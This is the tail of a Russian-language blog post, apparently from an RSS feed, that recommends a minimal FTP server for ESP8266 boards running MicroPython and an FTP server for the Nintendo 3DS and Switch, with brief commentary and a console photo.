  <p id="yYIM"><a href="https://github.com/cpopp/MicroFTPServer" target="_blank">https://github.com/cpopp/MicroFTPServer</a></p>
  <p id="UKox">Весьма специфичная реализация FTP-сервера для встраиваемых систем:</p>
  <blockquote id="fyFm">Minimal FTP Server that can run on an ESP8266 with MicroPython</blockquote>
  <p id="WjYC">Так я впервые узнал о существовании «<a href="https://micropython.org/" target="_blank">микропетона</a>» — давно существующего проекта, с огромным количеством поддерживаемого железа и широким функционалом. </p>
  <p id="6MlZ"></p>
  <p id="rQlY">Ну и в качестве финального аккорда:</p>
  <p id="aYdM"><a href="https://github.com/mtheall/ftpd" target="_blank">https://github.com/mtheall/ftpd</a></p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Hj4k">FTP Server for 3DS/Switch/Linux.</p>
  </section>
  <p id="HdWW">Реализация FTP-сервера для.. Nintendo Switch!</p>
  <p id="x68v">Это такая игровая консоль <s>для задротов</s> если кто вдруг не в курсе:</p>
  <figure id="OK8d" class="m_original">
    <img src="https://img2.teletype.in/files/11/e0/11e0a578-cb03-4d9e-88f4-d6c8c35ef7a4.jpeg" width="2560" />
  </figure>

]]></content:encoded></item></channel></rss>